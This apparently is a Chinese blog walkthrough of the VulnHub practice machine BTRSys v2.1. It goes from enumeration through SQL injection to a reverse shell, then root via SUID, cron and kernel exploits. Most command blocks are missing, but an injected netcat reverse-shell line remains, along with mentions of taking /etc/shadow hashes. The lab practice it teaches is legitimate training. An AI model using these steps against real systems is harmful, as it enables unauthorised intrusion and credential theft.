BTRSys v2.1 渗透测试实战:从信息收集到提权完整流程
1. 从一台“靶机”说起:BTRSys v2.1 到底是个什么东西
如果你在网络安全圈子里混过一段时间,大概率听过“靶机”这个词。所谓靶机,就是一台故意设计成有漏洞的虚拟机或镜像,供安全从业者、渗透测试学习者拿来练手。它跟真实生产环境的区别在于:你把它打穿了,不用负任何责任,也不会有人找你麻烦。BTRSys v2.1 就是这样一个存在——它是一台专门用于渗透测试练习的靶机环境,属于 VulnHub 平台上比较经典的一类作品。
我第一次接触 BTRSys 的时候,其实没太当回事。毕竟 VulnHub 上的靶机多如牛毛,从入门级的 Kioptrix 到稍微复杂一点的 Mr-Robot,选择太多了。但 BTRSys v2.1 有个特点:它的难度定位在“初级到中级之间”,既不像某些靶机那样几乎等于送分,也不像 OSCP 风格的靶机那样一上来就让你怀疑人生。它更像是一个“过渡型”的练习场——你如果刚学完基础命令,想找个东西验证一下自己的思路,它挺合适的。
具体来说,BTRSys v2.1 模拟的是一台运行着 Web 服务、SSH 服务以及若干后台管理接口的 Linux 主机。你需要通过信息收集、服务枚举、漏洞利用、权限提升这一整套流程,最终拿到 root 权限并读取 flag 文件。整个过程覆盖了渗透测试的典型生命周期:侦察、扫描、利用、提权、取证。对于正在准备 OSCP 或者想系统梳理自己方法论的人来说,它是一个不错的“阶段性检验工具”。
我写这篇东西的目的,不是给你一份“通关攻略”——那种东西网上已经够多了。我想做的是,把我在折腾 BTRSys v2.1 过程中踩过的坑、总结出来的思路、以及那些“如果当时有人告诉我就好了”的细节,完整地分享出来。无论你是刚入门的新手,还是已经有一定经验但想看看别人怎么思考的老手,应该都能从中找到一些有用的东西。
2. 环境搭建与初始配置:别急着开扫,先把地基打牢
2.1 靶机导入与网络模式选择
拿到 BTRSys v2.1 的镜像文件之后,第一步是把它导入到你的虚拟化平台里。我用的是 VirtualBox,VMware 也完全没问题。导入过程没什么好说的,但有一个细节值得注意:网络模式的选择。
很多人习惯性地把靶机设成“桥接模式”,觉得这样最方便。但在实际练习中,桥接模式意味着你的靶机会直接暴露在你所在的局域网里,如果你的宿主机连着公司网络或者公共 Wi-Fi,这其实是有风险的。更稳妥的做法是使用“仅主机模式”或者“NAT 网络”,然后在你的攻击机上配置一个静态 IP,确保攻击机和靶机在同一个网段内。
我个人的习惯是:在 VirtualBox 里创建一个 Host-Only 网络,网段设为 192.168.56.0/24,攻击机(通常是 Kali Linux)的 IP 固定为 192.168.56.10,靶机通过 DHCP 获取地址。这样既隔离了环境,又保证了连通性。
注意:导入靶机后,先别急着启动。检查一下虚拟机的网络适配器设置,确保它连接到了你刚才创建的 Host-Only 网络,而不是默认的 NAT 或者桥接。
2.2 攻击机准备与工具清单
攻击机我用的是 Kali Linux,版本倒不是特别关键,但建议用最近一两年的版本,避免工具链太旧导致兼容性问题。在开始之前,我通常会确认以下几类工具是否可用:
- 信息收集类:nmap、netdiscover、arp-scan
- Web 枚举类:gobuster、dirb、nikto、whatweb
- 漏洞利用类:searchsploit、metasploit-framework
- 提权辅助类:linpeas、linux-exploit-suggester
- 其他:netcat、curl、wget
这些东西 Kali 默认都有,但如果你用的是其他发行版,可能需要手动装一下。我建议在开始之前跑一遍 sudo apt update && sudo apt upgrade,确保工具都是最新版本。
2.3 确认连通性:别小看这一步
靶机启动之后,你会看到一个登录界面,但你不需要登录——我们的目标是从外部打进去。这时候第一件事是确认攻击机和靶机之间的网络是通的。
我通常先用 netdiscover -r 192.168.56.0/24 扫一遍,看看靶机的 IP 是多少。假设扫出来是 192.168.56.101,那就先 ping 一下:
如果 ping 通了,说明网络没问题。如果没通,先检查虚拟机的网络设置,别急着往下走。我见过太多人卡在这一步,以为是靶机的问题,结果折腾半天发现是网络模式选错了。
3. 信息收集:慢就是快,别急着上 Exploit
3.1 端口扫描的策略与参数选择
信息收集是整个渗透测试过程中最容易被低估的环节。很多人拿到靶机 IP 之后,直接一个 nmap -sV -sC -p- 就上去了,然后看到一堆端口就懵了。我的建议是分阶段扫描,先快后慢,先粗后细。
第一阶段,用快速扫描找出开放的端口:
这里 -T4 是提高扫描速度,--min-rate=1000 是保证每秒至少发 1000 个包,-p- 是扫描全部 65535 个端口。这一步通常几分钟就能跑完。
第二阶段,针对开放端口做详细的服务识别:
-sV 是版本探测,-sC 是运行默认脚本。这一步会告诉你每个端口上跑的是什么服务、什么版本,有时候还能直接发现一些明显的漏洞。
在 BTRSys v2.1 上,我扫出来的典型结果是:22 端口跑 SSH,80 端口跑 HTTP,可能还有 3306 跑 MySQL。具体端口组合可能因版本略有差异,但大体思路是一样的。
3.2 Web 服务枚举:从首页到隐藏目录
80 端口开放之后,第一件事是用浏览器访问一下,看看首页长什么样。BTRSys v2.1 的首页通常是一个简单的登录页面或者一个静态的欢迎页。别急着去猜密码,先看看页面源码里有没有注释、隐藏字段或者奇怪的链接。
接下来就是目录枚举。我用的是 gobuster:
这里 -x 指定了要尝试的文件扩展名。BTRSys v2.1 上,我印象比较深的是扫出了一个 /admin 目录和一个 /backup 目录。/admin 里面是一个后台登录界面,/backup 里面可能有一些备份文件。
实操心得:目录枚举的字典选择很关键。
common.txt适合快速扫一遍,但如果没扫出东西,可以换用directory-list-2.3-medium.txt,虽然慢一点,但覆盖面更广。另外,别忘了试试robots.txt和sitemap.xml,有时候会有意外收获。
3.3 数据库服务探测:别忽略 3306
如果扫描结果显示 3306 端口开放,那就要重点关注了。MySQL 服务如果配置不当,可能允许匿名访问或者弱口令登录。我通常会先试试用 mysql 客户端直接连:
如果提示输入密码,先试试空密码、root、password、toor 这几个常见弱口令。如果连上了,恭喜你,可以直接看数据库里有什么敏感信息。如果连不上,也别灰心,后面可能还有别的路子。
4. 漏洞利用:从入口点到 Shell 的完整路径
4.1 Web 应用漏洞的挖掘与利用
BTRSys v2.1 的 Web 应用部分通常存在一些常见的漏洞,比如 SQL 注入、文件包含或者命令执行。具体是哪个,取决于你拿到的版本。但不管是什么漏洞,挖掘的思路是相通的。
先看登录页面。如果是一个简单的用户名密码表单,试试 SQL 注入:
在用户名和密码字段分别试试,看看能不能绕过登录。如果登录成功了,进去之后看看有没有文件上传、命令执行之类的功能。
如果登录页面没有注入点,那就看看其他页面。比如 /admin 目录下的页面,有没有参数是直接拼接到 SQL 查询里的。我通常会用 sqlmap 来辅助检测:
--batch 是让 sqlmap 自动选择默认选项,--dbs 是枚举数据库。如果 sqlmap 检测到注入点,它会告诉你数据库类型、当前用户、权限等信息。
注意:sqlmap 虽然强大,但别完全依赖它。有时候它的 payload 会被 WAF 拦截,或者因为网络延迟导致误判。手动测试一下,确认漏洞确实存在,再让 sqlmap 去跑。
4.2 获取初始 Shell 的几种方式
一旦确认了漏洞,下一步就是获取一个 Shell。根据漏洞类型不同,方式也不一样:
- 命令执行漏洞:直接通过 URL 参数或者表单字段执行系统命令,比如
; nc -e /bin/bash 192.168.56.10 4444。 - 文件包含漏洞:尝试包含
/etc/passwd确认漏洞存在,然后包含一个你上传的 webshell,或者利用日志文件包含来执行代码。 - 文件上传漏洞:上传一个 PHP 或者 JSP 的 webshell,然后通过浏览器访问触发。
我个人的习惯是,在获取 Shell 之前,先在攻击机上开一个 netcat 监听:
然后根据漏洞类型构造反弹 Shell 的命令。比如如果是命令执行,可以试试:
如果靶机上没有 bash,可以试试 sh、python、perl 等。BTRSys v2.1 上,我印象中 bash 是可用的,所以直接用上面的命令就行。
4.3 Shell 稳定化:别在“裸”Shell 里干活
拿到初始 Shell 之后,第一件事是把它“稳定化”。所谓的“裸”Shell,就是没有作业控制、没有 Tab 补全、Ctrl+C 会直接退出的那种。在这种 Shell 里干活,效率极低,而且容易误操作。
稳定化的标准流程是:
然后按 Ctrl+Z 把进程放到后台,再执行:
最后按几下回车,再执行:
这样你就有了一个相对完整的交互式 Shell。虽然不如 SSH 那么舒服,但至少能正常用 Tab 补全和 Ctrl+C 了。
5. 权限提升:从普通用户到 root 的最后一公里
5.1 提权信息收集:先看清楚自己在哪
拿到初始 Shell 之后,你通常是一个低权限用户,比如 www-data 或者某个普通用户。这时候别急着去找 Exploit,先做一轮系统的信息收集。
我通常会跑一遍 linpeas,它会自动检查系统版本、内核版本、SUID 文件、可写目录、计划任务、环境变量等等,然后给出一个提权建议列表。把 linpeas 传到靶机上(可以用 wget 或者 nc),然后执行:
如果靶机上没有 wget,可以用 nc 从攻击机传过去:
5.2 常见的提权路径与实操
在 BTRSys v2.1 上,我遇到过的提权路径主要有这么几种:
第一种:SUID 文件滥用。 如果 linpeas 报告某个 SUID 文件是 nmap、find、vim 之类的,那就有戏了。比如 find 有 SUID 权限:
这样就能直接拿到 root Shell。
第二种:计划任务(Cron Job)滥用。 如果有一个以 root 身份运行的脚本,而你对这个脚本有写权限,那就可以往里面注入命令。比如:
等计划任务执行之后,运行 /tmp/rootbash -p 就能拿到 root Shell。
第三种:内核漏洞。 如果系统内核版本比较老,可能存在已知的本地提权漏洞,比如 Dirty COW(CVE-2016-5195)。用 uname -a 看看内核版本,然后去 searchsploit 里搜一下:
如果有匹配的 Exploit,编译之后在靶机上运行,通常就能提权成功。
实操心得:提权的时候,别一上来就试内核漏洞。内核漏洞虽然威力大,但风险也高,搞不好会把靶机搞崩。优先试试 SUID 和计划任务,这两种方式更稳定,也更容易控制。
5.3 提权后的收尾工作
拿到 root 权限之后,别急着关掉。先做几件事:
- 读取 flag 文件,通常在
/root/flag.txt或者/home/用户名/flag.txt。 - 检查
/etc/shadow,看看有没有其他用户的密码哈希,可以拿去破解。 - 清理痕迹(如果是真实环境的话),但在靶机练习中,这一步可以跳过。
6. 常见问题与排查技巧实录
6.1 扫描不到端口怎么办
有时候你跑完 nmap,发现只开了 22 和 80,其他端口都没开。这时候别急着放弃,试试以下几个方向:
- 用
-Pn参数跳过主机发现,有时候靶机禁用了 ICMP,nmap 会误判主机不在线。 - 用
-sU扫一下 UDP 端口,有些服务可能跑在 UDP 上。 - 用
-A参数做一次全面扫描,虽然慢,但信息更全。
6.2 反弹 Shell 连不上怎么办
反弹 Shell 连不上,通常有几个原因:
- 靶机没有
nc或者bash,试试python、perl、php等替代方案。 - 防火墙拦截了出站连接,试试用 80、443 等常见端口。
- 攻击机的监听端口被占用,换个端口试试。
6.3 提权 Exploit 编译失败怎么办
有时候你下载了一个 Exploit,在靶机上编译时报错。常见原因包括:
- 缺少编译工具,试试
gcc或者cc是否可用。 - 缺少依赖库,看看报错信息里缺什么,用
apt装一下。 - 架构不匹配,确认靶机是 32 位还是 64 位,下载对应版本的 Exploit。
6.4 常见问题速查表
| 问题现象 | 可能原因 | 解决方法 |
|---|---|---|
| nmap 扫不到靶机 | 网络模式不对 | 检查虚拟机网络设置,确保在同一网段 |
| 目录枚举没结果 | 字典太小 | 换用更大的字典,或者尝试不同扩展名 |
| SQL 注入被拦截 | WAF 规则 | 尝试编码绕过,或者换用其他注入点 |
| 反弹 Shell 无响应 | 端口被过滤 | 换用 80、443 等常见端口 |
| 提权 Exploit 失败 | 内核版本不匹配 | 用 uname -a 确认版本,重新搜索 Exploit |
7. 一些个人体会与后续练习建议
BTRSys v2.1 这个靶机,我前后折腾了大概三四个小时才完全打通。中间卡得最久的地方是提权环节——一开始我一直在试内核漏洞,结果要么编译失败,要么运行之后系统直接卡死。后来静下心来跑了一遍 linpeas,才发现有一个 SUID 文件被忽略了。用那个 SUID 文件,两分钟就拿到了 root。
这件事给我的教训是:信息收集永远不嫌多,提权之前先看清楚系统里有什么,比盲目试 Exploit 效率高得多。
如果你已经打穿了 BTRSys v2.1,想找下一个练习目标,我建议试试 Kioptrix 系列或者 Mr-Robot。Kioptrix 偏重基础,适合巩固信息收集和漏洞利用的流程;Mr-Robot 则更偏向 Web 应用渗透,适合练习 WordPress 相关的漏洞利用。等你把这几台都打穿了,再去挑战 OSCP 风格的靶机,会感觉轻松很多。
最后再分享一个小技巧:每次打完一台靶机,花十分钟写一份简短的复盘笔记,记录你用了哪些工具、走了哪些弯路、最后是怎么解决的。这份笔记在你准备认证考试或者面试的时候,会比任何教程都管用。
相关推荐
基于Python+Open CV的手势识别算法设计
伴随着人工智能时代的到来,人机交互的领域也逐渐成为研究的一大方向;其中,手势识别是人机交互领域的一项关键技术,自此手势识别也迎来了一波高潮,近几年无论是在消费领域、电子领域、数码领域、家电领域甚至汽车领域上,都能或多或少的见到手势识别的身影。 手势识别在设计智能高效的人机界面方面具有至关重要的作用, 目前手势识别已应用到手语识别、智能监控、到虚拟现实等各个领域,手势识别的原理都是利用各种传感器(例如红外、摄像头等)对手部的形态进行捕捉并进行建模,形成一个模型信息的序列帧,而后将这些信息序列转换为机器能够识别的相对应指令(例如打开、切换菜单、移动等)来完成控制。 采用Python的集成开发环境Pycharm进行本次课程设计,在Pycharm中进行需要库(模块)的下载,调取电脑摄像头,按帧读取摄像头采集到的头像,形态学处理,图像旋转(由于摄像头采集到的图像是镜像,需要用cv2.flip将摄像头采集到的图像进行处理),选取图片中固定位置作为手势输入,用红线画出手势识别框,基于hsv的肤色检测,进行高斯滤波,找出轮廓,求出图像中手势的凹凸点,手指间角度求取。
ROS-CV-ImageConverter:将ROS图像转换为OpenCV(cv :: Mat)类型的图像
ROS-CV图像转换器 依存关系 cv_bridge(ROS软件包)
计算机视觉图像处理-CV2与图像插值算法
用最近邻插值与双线性插值原理完成图像缩放 最近邻插值,是指将目标图像中的点,对应到源图像中后,找到最相邻的整数点,作为插值后的输。缺点:使用最近邻插值算法处理图像放大时,在图象中可能出现明显的块状效应 双线性插值,在两个方向上做三次线性插值。使用双线性插值算法处理图像放大时,在图象中可能出现马赛克 代码 import cv2 img = cv2.imread(’./xiabang.jpg’, cv2.IMREAD_UNCHANGED) #缩放比例 scale_percent = 0.3 width = int(img.shape[1] * scale_percent) height = int
基于水平集CV模型的图像分割(Matlab代码)
基于水平集CV模型的图像分割(Matlab代码),全套代码
导向滤波(guide_filter)的python实现
导向滤波(guide_filter)的python实现,可以结合暗通道;理论实现比较好的图像去噪效果。

